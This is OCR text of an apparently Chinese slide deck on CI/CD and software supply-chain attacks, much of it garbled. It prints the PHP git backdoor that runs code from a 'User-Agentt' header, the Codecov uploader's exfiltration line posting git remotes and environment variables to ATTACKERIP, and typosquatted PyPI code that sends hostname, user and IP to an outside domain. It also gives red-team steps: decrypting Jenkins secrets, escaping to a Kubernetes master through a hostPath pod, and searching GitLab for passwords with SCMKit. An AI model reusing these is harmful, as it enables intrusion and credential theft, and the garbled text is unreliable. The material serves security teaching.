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o HiEES

EJLE, # F“%LIKE%BJL%iDD EXEHNESAD, BEERANCICOREINFAECFRRMEER 7T,
PNIIES T aHYEREEM,

PHPEIGItARSS 23 B EFNIE, RSB EI1CHE

Compromise Use git credential Access Compromise secrets
Codecov from Codecov privaterepos  (example Twilio)

URBEAEFRPHPIRMIS I BINREIFICSAE——, BHIERHNERE.
L a ¥

L b e»

20215E3H28H, M ABALTANETPHPHEIESNE S5 GithR5S28nttp://git.php.net, F 13
SREWINVWEFE, MEBFIRRIBEBEN T MBS,

XA ER IR X R git.php.netBR 5588 _ LRI B FEEphp-srcfZziEEH, ERNEHEIESNE
Rasmus LerdorfflMicrosoftfl5R 147 & A FiNikita Popovid+& = Jetbrains,

%A Codecov: (@)

SREXCI/CDF B EUE S 1 PHPIEMCAS 1IN IEI]
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LinuxBEE SR AFLHISLSA (BRAEHETH R 5525
Aqua SecurityFCISEX S & BICISTFH N it 215

SOURCE THREATS BUILD THREATS

66 684 0a

Producer - Source - ' > Package - Consumer

EOREBEIEERTEFHRER?
= THREURENKEAAMLESHR?
ENRERME F BB EEE?

Dependencies

DEPENDENCY THREATS

SOURCE THREATS DEPENDENCY THREATS BUILD THREATS

A Submit unauthorized change D Use compromised dependency E Compromise build process

B Compromise source repo F Upload modified package

C Build from modified source G Compromise package repo

H Use compromised package
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H AR EIEE

> BRFIEKTG: IEFAAR. BHEAR(DaaSE)
> ERNE: EIEME. XSS EE. GIT. SSH. Xshell, IEEEEEE. kube/config
> ERAE: MABCERRKRERE. D-PPE. |-PPEF

Browser Password Cookie Bookmark @ History [+] WeChatProcessPID: 19656
[+] weChatVersion- 3.7.5.23

Google Chrome v v v v [+] WeChatName: )b
Google Chrome Beta 4 v 4 v EH ﬁgﬂitﬁﬁﬁ?{gt :A
i [_] WeChatHail' ~_ R L I S Ay .. L] - - T M. DAl Camasl Adde - -~ - - 1315
Chromium v v v v [+] WeChatKey.
Microsoft Edge 4 7 7 7 [+] WeChatProcessPID: 153u4
[+] WeChatVersion: 3.7.5.23
360 Speed v v v v [+] WeChatName:
[+] WeChatAccount:
QQ v 4 v v [+] WeChatMobile:
[_] WeChatMail: et e A an_ 29 Mobe lleaw Te M~ Dindios Camail Addrace an
Brave v v v L [+] WeChatKey: l
Opera v v v v [+] Done.
(o] GX
pera v v v v EER
Vivaldi v v v 4
——— 7 7 7 7 1.l < 37.0.30 RIBTAERERRIAGRE, ERGERDERERBIEERS
Firefox v v v v [)=:5+75 3
iref
Ffre iG] L bl L b 1. HEE(ET N2 EHNIRBEEBREERRT)
Firefox Dev - L = = 2. BEREHNB(E LTSN B R ERESHEIE)
Firefox ESR v L L] - 3. R TEREEGE (MUBEREE N2 Al
Firefox Nightly v v v Ll 4. BT (AR&HECER)
Internet Explorer 5.5% ..
AT Y = A
HackBrowserData MEIIRICR




o FERIERTIEE

> RESIHEHTE: FXNRSsSRENKE (dhEH. WebM A, Pod)
> CI/CDEMIENE: Gitlab. Jenkins. Kubernetes. Harbor. AnsibleZs
> BMBE: SQLinject. RCE. &1, RFI. KRENF
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FRoFE

ERBHES
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a5
Docker

BRSSP <
S EES
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BRITEE LR
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SIFRBRSS

BRS5HA

7 B3RED
Stream

- {mbog
Swagger

DevOps

ERBHRI MM RBeE
Rancher GitLab

£S5
Jenkins

H—IER. IR

PRifE. BEH

BRSSPRIAL. FEBf.

ekl
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RIBEEEE
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H AR EIEE

> HNEKT: XNE=ATENNEERKRES T
> N FRRAMHE. IDE
> CI/CDEMNIEME (PFIds) : Gitlab. Jenkins. Kubernetes. Harborss
> KEEIRE: Python. npm. Jquerys:
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o BRBIEFIFREERE \ |
> X—RERRRTRUSEABES N RA DN PR,

> WREK., SR, AitSHm. /NS H. BEMER. HEKSEH
> SLERZEP: Gitlob5JenkinsBXEl, jEMgitlobRtBETEZE R Jenkins
> SLEREP]: SYN/MMIBRSSRIKSIEE, REARIEFEN, RBPXREEE
> BEXMZRA: mREEMB Gitlab Hliga%_f 2 B1 /Eﬂﬂlﬁlﬂﬁ%ﬁ\ ﬁz"gﬂﬂlﬁﬁﬁ%/ﬁﬂ

& GitLab  Projects [REENEE

. Daimler ¢
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o IR I AE

> WHEBIREBCICORTEDRH (SCM. Cl. Artifact. BESE) NRE, FEiR/DEEZY 8T EE
BRERABEAZEED,

> RRABIFESX, ZOXNEBEZEE B EFp

> RRABRFED, R HEXREFHNEET

> REEABEEA , MEBEFREPTEITHZBEAND
> BIEEFH , THREORY,

N



o REREHIHIAE - PHPIETIRA

> PHPEEA?‘E Hgit.php.netfREZ BB W, WEEMIEPHPHREZIESEENRER A
=, # Tﬂﬁ‘h%ﬁiﬂtﬂkx BATZERBHRTHE],

EEEEE ext/zlib/zlib.c I ;Eiﬁlgim

{

zval zoh;

php_output_handler xh;
363 + zval *enc; 1\ Wﬁ@ﬂﬁ
364 +
365 + if ((Z_TYPE(PG(http_globals) [TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&

-drab

366 + (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals) [TRACK_VARS_SERVER]), "HTTP_USER AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) { ¢ ﬁhﬁ%%&*ﬁ IL:\:L.\{tﬁE.'JE,]php/ﬁﬁ%
staabm Contributor o ﬁ”&nginx, #Eﬂ%ﬁ?ﬁphp,

Intentionally 'AGENTT with 2x T at the end?

IR &M idtphp3X 4 :

367 + convert_to_string(enc); <7php echo “he”o worId”'?>
368 + if (strstr(Z_STRVAL_P(enc), “zerodium")) { ’
369 + zend_try {
370 + zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
mvorisek Contributor
1 ? Nz .
@rlerdorf what does this do? 2. ﬁﬂ burpswte //J\\bu/u\/m header *
W JABirchall
@mvorisek
This line executes PHP code from within the useragent HTTP header, if the string starts with 'zerodium’ User-Agentt: zerodiumsystem(*touch /tmp/php-evil/evil");

Q.



o hEEERNT (PPE)

> WHEERERAAZHEEABHNE, EREXNHEERENRENE, BdRERAEREGE
EREEENAHTENEERBImS, NMRAEEDRE, SRESHTHRE, H&E
MEZEDETEREAE,
> PPEXCEAE=fEE AR
> Direct(D-PPE) [E#]
> Jenkinsfile, .gitlab-ci.yml
> Indirect(-PPE) [j&]#£]
> Makefile. Shell
> Public(P-PPE,or 3PE) [/a3t])

> LR 198 > ZBEHFLKS > BB RIIEENNE -> KBEFF -> JenkinsHAiT<
sf&NodeT R -> Jenkins EREHE -> IBHIEE RS > EOBE,

N
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o 1K E6 FE i A

> WEHBUNESR LEEERE (B8FEREN . Z5EF) HFEPOLE, FRARE
AARZWIERMKIE, NTEARIMFATFeiVEF. Y. ERFHT,

> BFIRBE
> BIEAFIIE, S5RBENEFITE, SEHEVER

= %15]' ruamel.yaml2 MEIEYAMLIARIZE, Hﬂ??’f*’ﬁﬁ%: pip install ruamel, T®R7
“yaml"EREHTH T ESNruamel 8, ZBFENRI2WELOIP. ENEIR. EVHEF

ZHENE XN S,

import datetime|
dt = datetime.datetime.now()
utc_time = dt.replace(tzinfo = timezone.utc) .timestamp()

data = "{},{},{},{},{}".format(int(utc_time), socket.gethostname(), getpass.getuser(),
external_ip, os.path.abspath(__file__))
encoded_data = base64.b32encode(bytearray(data, 'ascii')).decode('utf-8').replace("=", "0")
fingerprint = hashlib.md5(encoded_data.encode('utf-8')).hexdigest()
def divide_chunks(1l, n):
for i in range(@, len(1l), n):

yield 1[i:i + n]

MAX_SUBDOMAIN_LENGTH = 57

for i in range(@, math.ceil(len(encoded_data) / (4xMAX_SUBDOMAIN_LENGTH)), 1):
url = "{}.{}.testpcurl.com".format(".".join(divide_chunks(encoded_data
[i%4%xMAX_SUBDOMAIN_LENGTH: (i+1)*4%MAX_SUBDOMAIN_LENGTH], MAX_SUBDOMAIN_LENGTH)),



o Kt EES
> =6 KEEES
o R EEpypiBEIE -> EEEHKS I ANE -> HERESHRE -> JREUEIE or f13 -> &M@

BB -> R131000+ 8 FHAUR

def inforun(urls):

24
hostname=socket.gethostname() P
username = getpass.getuser() o
ip = getip() .
root master-iN2
data = {'username': username, 'hostname': hostname, 'ip': ip,' vaot production-1 42 1-mhlv3-fyhfp-gf32k

for key, value in data.items():
if value is None: root production-3 -3qh%n -cgjf3-1)9w6 4,189,152

datalkey] = "' s SETTOROI YT "
json_data = json.dumps(data) root production-3 1-4mglq-cqpxr-mejde IJdJ
encoded_data = base64.bb64encode(json_data.encode()).decode() root production-T = 37 |4t Tm-v63kj-bszzp 32454
payload = {'data’': encoded_data} == )
root production-3 1-1-1883z-xhhcr-4i0kx 118942
for zrl in urls: root production-3 -1-12p39-Bw5bs-8x915 1,109,233
rys: : 8
response = requests.post(url, data=payload, timeout=5) root production-3 w1-qzg2c-0556q-f92 [3.181.115
if response.status_code == 200: o S 1-bailk-t16da-9ad3 10725
print(f'Data has been added successfully') root production- 0g)1K-t10dg-790.5 V! i)
else: root production-3 2-1-xt119-m2127-chpzg 13.76.14
print(f'Failed to add data to') : R e
except requests.exceptions.RequestException as e: oot production-§ -|-hvpT-43tg-pgddr 9231115
s root production-0f -51h68-np34g-nzdqx 14.169.152
root localhost.loc (.1
setup( . T A i
name=package_name, # XBRpiplB LGB root production-bl -]*.)ll1'|-‘]5]\lt..-ﬂ](i(i(l §.231.103
— version=package_version, # hWAS, HEBAN=MATHpip root roduction-iL. .- wd-1-zdald-r3lem-gl199 10524546
keywords=("pip", , "featureextraction"),
descriptiond EAfmIA",

A N



o RREAEERE

> CICDRMRERHZNTREFUEN, XERFEERGIIALE, BTEEIEFEESMH LT,
R R ERUEDE SR T ki,

> Jenkins: GitlobTkS . rootZiH. k8sEUEFH
> Gitlab: B4wiE. HIEEKSZS
> BDRBEHRIPNER: B, IEEKSSE

> Zfl: Harbor -> RIENHIEURER -> DEEFER > EEZOEIEE > EXHREARX N A R
FHSHE > AFEIZFRESR -> ERGitlab

N



¢ Codecovit I

> B DockerBEESHEIE, TTLAEHFH codecoviBIbash_EAEZRIZR
> BEHATECIH RN BN IZRECEEENRELTEER

curl -sm 0.5 -d "$(git remote -v)<<<<<<

0000
([ [ ]
Mercari/Merpay
Users

mo o

Mercari/Merpay

Production
Environment

Investigation confirmed
no unauthorized access

Codecov

Code coverage tool

Q Bash Uploader

l

Cl Environment

Continuous integration Malicious
Actor

Credentials, etc.

Clenvis
used for some
release tasks

GitHub

Source code management system

T

Mercari/Merpay
Software Engineers

Attack #1: January 31,2021-April 1,2021

Attack on entire
Codecov user base

@ A malicious actor modified Codecovs
Bash Uploader.

The malicious actor abused the Bash
@ Uploader to obtain credentials and
other information.

Attack #2: January 31,2021 -April 18,2021

Attack on Mercari Group

The malicious actor used credentials
@ obtained in the attack on Codecov to
access Mercari's GitHub repositories.

Response (selected events)

Codecov announced the possibility of
unauthorized access (evening of Apr. 15)

We started resetting (revoking/rotating)
credentials, etc. (Apr. 16)

GitHub notified our company of potential
unauthorized access (Apr. 23)

We discovered that some user information
and other sensitive data was stored on
GitHub (Apr. 27)

ENV $(env)"

http://ATTACKERIP/upload/v2 || true

CI/CDE B IREN:


https://about.mercari.com/en/press/news/articles/20210521_incident_report/
https://about.mercari.com/en/press/news/articles/20210521_incident_report/
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o WERHI— | EPIRITE

> P8 -> AR > BIE@EIR (SRE. Dev) ->IAIEEIUEGEFIE -> CI/COFRIRIE -> H17

< -> RIFEEAR
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o WERMZ | BRSIRFTE

> JenkinsZ@BAF -> BPYIE -> REEER -> Jenkins ScriptiZE0 -> EE RS > &
-> 200+4X PR

https://github.com/hoto/jenkins-credentials-decryptor

KINS- lentials-dect

printin(hudson.util.Secret.fromString ("
{AQAAABAAAAAQNIZj7TI4thOTMrxxxx81keZR3T8vrSYeObT [tIHMpbHA7ULP9/w9

VGnTWXUuKpy7s}").getPlainText())

\ D59pi9xxxxzIUGgVH

1




o ILERHIZ | IRSFIHITIE \‘
> JenkinsfR55Es -> K8sEIE (EFIRIE) -> lEZEPodiBEZEIMasterm & -> HEIR -> 3K15K

MasterFE#
apiVersion: v1
kind: Pod 1 NAME STATUS ~ ROLES VERSION ~ INTERNAL-IP
metadata:
name: control-master-testé 2 prod-k8s-masterl Ready  master v1.18.0  172.16.26.245
SPet: 3 prod-k8s-master2 Ready  master v1.18.0  172.16.26.246
containers: 4 prod-k8s-master3 Ready  master v1.18.0  172.16.26.247
- name: control-master-testé
image: ubuntu:18.04 5  prod-k8s-nodel Ready  <none> v1.18.0  172.16.26.248
SRS W, SEE0eL 6 prod-k8s-nodeld  Ready  <none> v1,18.0 172.6.192.218
-name: master ] prod-k8s-nodell  Ready  <none> v1.18.0  172.6.192,219
mountPath: /master
volumes: 8 prod-k8s-nodel2  Ready  <none> v1.18.0  172.6.192.220
e ster 9 prod-k8s-nodel3  Ready  <none> v118.0  172.6.192.221
path:/ prod-k8s-nodeld  Ready  <none> v1,18.0  172.6.192,222

type: Directory

N




o WERMZ | BRSIRFTE

> JenkinsIREXHI AR S B/NR -> FF&MIR KIS -> DevOpsFEEKS8s -> BliEPodiEEZIMa .
B -> JkI% -> K8s Master REZ 281X [R -> Pod{S BULEE -> Jenkins -> FiFfEES -> GitlabEIE R

SRMEFE

S




o WMERHZ | RFBIHITE
Kubernetesgk filr 42 [ v1.1

22 WM R RN R il # )5 ITPod #F 1 AR R AR # il 5 % % % ] Cluster W M A% % B HEIE K & 2 L A

Service Accounti% #
AP| Server# 4T 354

P| A | i i : . 3 3T
1&s A Sﬂer\verﬁi%x x| Kubeucﬂtl AE Shadow AP| Server HEItLinuxWAZ&HE  FlH % FPodfh % @s SgcreF A,\:,COUM % []]K8s API| Server Servics Aocomtia
W IH] % P E [5]K8s API

‘ bl

—#j o j= 537 B 4 VB \

Bt our AT BB A ER T &M @ itDocker B H ki AnnotatlonsfﬁAudlt BRI E R oo Dashboard o iaya bashboard
A A+ A A Fir # #9Pod

K2R N e 1| YE O\ 35 ] 5 .
etcd R X 1] SidecariE A A AR IK 5 Rl K8s Audit H & 7% # i KES E).\# ik 7 []Kubelet API Cluster W ¥ i &
Docker.sock #k % G R
- _ BB FEENEXRFE
Docker Daemon A M & Z 2 Wy R #Shell/ DaemonSets . F| A Linux 5

B A I /C2/DNS k% 1 Deployments Capabilitiesk %

EHEERER HEH EW %A FFl 4 # AR B k2t | Shadow AP| Server A4 K8s# il 3 1 K Bk

kubelet & & A ]

ConfigMap 5 BN % T BRI K & = kA

(Clear container

) . il BrK8s &y Event .
Dashboard T X % % SSHAR -3t N\ 5 B K8s cronjob Procfs H 1 # # i Il g Pod i 4% iE % = AR
(Delete K8S events)

K8s Rolebinding#s fm
K8s configfile 3% Rootkit A P AR (Cluster— 77 B (Taint)E 5 5%
admin binding)

BAGREEZRE A A & GPodth & A1 I KBS 7 & A%

518 JE E A SidecariE A




o ILERHZ | RS

HNEFE

KubeManager

0

10.30.1.0/24

- = =P 172.16.4.0/24

)= R e

enkinsfile \
N\

>

Direct(D-

Public(P- DevOy

Gitlab

Harbor

K3s/Rancher

et e e A P bk SRS 1 172.16.26.0/24




o WERH= | HNEFE
> SMNWEEAMPythonBiEE
HKEUEENREEFN B TG E S ES T U B ANHEE MG & 8T8 5ok o) X

|~

PypifZif4iE, B2 E A REEHIAETAEIR, B A FEM https:/pypi.tuna.tsinghua.edu.cn {1, EF1X

> MBS R: EERESR > pypi > BE > BEAFR R -> RNRRILTG
- AR REAERER LERIE > LESRAE

twine upload -u username -p password —repository-url ${$PACKAGE _PATH}

N


http://mirrors.xxx.com/pypi

o WERH= | HMEITIE W
> SMELRMPythonBliEiE
> (FF&AAR. Jenkins Node#l. EEEHL)
> ZF|JenkinsfRFBENR, FUELIEMRE,
> HEIhttpsilE$ -> MZIRER -> Jenkins/E 5 3KBX -> Jenkins Node -> Ansible -> Jumpserver ->

AR




o WERM= | HpEEFTE

> K8s-Master -> ##EZEPod -> 2ZGitlab Admin Token -> &AL -> LB E 1T -> iR
SCMKit{E A=

o JNEWMSITIRIE

o FEHBER, LEFEAKSEIEER

# I H ST LABRINCE. o apikKey

SCMKit.exe -s gitlab -m listrepo -c username:password -u http://qgitlab.abc.com

# B REIMBE REIXERE, -m searchfileE# X 4

SCMKit.exe -s gitlab -m searchcode -c username:password -u http://gitlab.abc.com -o "password"

# 5\ H et BB P o BB /runner

SCMKit.exe -s gitlab -m listrunner -c¢ username:password -u http://gitlab.abc.com

# N E AL

thp:/lusemome:password@gitlob.obc.com/xxx/test.git



¢ CI/CDEi BB P&

CI/CD ki 4 B

arer) | #ae oonn | waen | wnss | vss -
o , R 3R AR R A o FURCICO% 4R A4 3
CI/CD_L oy 8 bt % B ik 52 Cl/ICDF & BuEFERERE FKHCI/DREE  ACIHBERRBCDEE , Cl/CD¥ 4% % & 36 48 1 4
N & X i L B 2CI I B ) e C L "'é’]ﬂﬁ% b i 4
Bk G H bR A . (Monorepo) #k &
BEAHKT (28 Ly L W BRA RS E R o R it
GtSESH;i;\K;n!)H' BREENCEE FIRHFELES HEACI/COETHE i 70;*: | Bypass % # HEZLHE FEXHEXLET 5 ﬁ'ﬁt&; ;E
\ 7 N ?;_ J k r—b:ﬂ: 5 U B 18 ’\(élﬁ {/J‘AH-F e AKX ]
i 1t 7 |
CIICD A A HHS (4 L , PR ERCIDEE Y BRARFEE
I EERBIENRERE 5 %CI/CDE & MCI/CD¥ [ Secret \ ‘ )
. EHT) % i | 1 X EECHODER
Manager
WOt G B R 4 2 . . ‘ W CI/CD #4672 45 '
CI/CD.LE i i 46 % B R BN [CR E SHCICDE B % o A 4
a@mwa— ; el it 5 HRAEN O E proIDREE [ 55
KRB aR = ENEERK B KRB ENFERAE BACI/CDETER
A EANMAREE SSHE|CI/CD ¥ CI/CD Lty ft i 4% 3%

https://github.com/rung/threat-matrix-cicd



¢ DevOpséAHZ 2o

Application Lifecycle Mgmt. SCM/VCS

¥IRA [@mingle @7elsr © git 1)\)

mercurial

g Visual Studio

Foundation >t Pivotal

w5 GitHub
9;5 @ Bitbucket QVA

T GitBucket

¥ . Basecamp' ¢sAsana

PHABRICATOR
Communication & ChatOps Cl
% slack Qipchat H#irc
Flowdock
RYVER® OMattermost

& ROCKET.CHAT @ pYY

O—-ﬂ

z.l

P wercker &) SNAP

T ¢ TeamCity @ Jenkins

{:Bamboo

@Travns Cl
D go CODESHIP
Build

- 313 £% GRUNT
/r@(l'[ ‘Sbt RS radle "
% github:pages %9’ Q Mayen
docker Js A W
X.Confluence || ¢ 4V,

P o T
Wnant  sdade
<APACHE ANT>
Mark 5 Read the Docs :t‘ MSBuild

down ]
mLeiningen a Rake

Nestor L|TA “'”m |

Knowledge Sharing

e aun
circleci 1 s

? ;
., apiblueprint [RENS
Database Management

: w2 SZOPENAPI i
@FLARUM - _|._DBmaestro DBDeploy <\
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